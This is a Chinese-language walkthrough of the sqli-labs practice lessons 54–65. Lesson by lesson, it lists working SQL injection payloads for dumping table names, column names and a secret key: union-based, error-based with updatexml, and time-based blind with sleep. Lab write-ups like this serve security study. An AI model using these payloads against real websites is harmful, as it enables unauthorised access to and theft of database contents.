sqli-labs lesson 54-65
less 54
需要从数据库的CHALLENGES表中取出key值输入,输入对了才算通过,但是只能做10次尝试。
这里id被单引号包裹,注意闭合单引号即可,剩下的就可以参照less 1获取表中信息即可
下面只列出来步骤截图:
执行:?id=0' union select 1,2,3 --+
执行:?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
执行:?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='m9isrxrx2a' --+
执行:?id=0' union select 1,2,group_concat(concat_ws(0x7e,secret_0FMJ)) from m9isrxrx2a--+
这个值就是最后的key值
less 55
与less 54唯一不同在于id包裹为(),且能尝试14次,其余和less 54一致
less 56
id包裹为(‘’)注意闭合即可其他都一样
less 57
id值的左边需要用 " 进行闭合 其余地方都一样
less 58
区别在于这关需要用到报错注入且只能尝试5次,下面附上payload
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='1o8ga4ar0s'),0x7e),1) --+
?id=1' and updatexml(1,concat(0x7e,(select group_concat(concat_ws(0x7e,secret_PQVY)) from CHALLENGES.1o8ga4ar0s),0x7e),1) --+
less 59
id值没有被包裹 其余同less 58一样
less 60
id包裹为 ("")注意闭合即可,其余与less 58一样还是用报错注入
less 61
id包裹为(('')) 其余同less 58 用报错注入
less 62
id包裹为('') 注意闭合,这里限制次数变成了130次
说明盲注它lei了~....
用延时注入即可
下面给个payload 其余的根据以前的学习构造即可:
?id=1') and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)>'a',1,sleep(5)) #
判断该表的第一位字母是否大于a
less 63
id包裹为单引号 其余的与less 62 一样使用延时注入即可
less 64
id包裹为(()) 其余的与less 62一样 延时注入即可
less 65
id包裹为("") 其余的与less 62一样 延时注入即可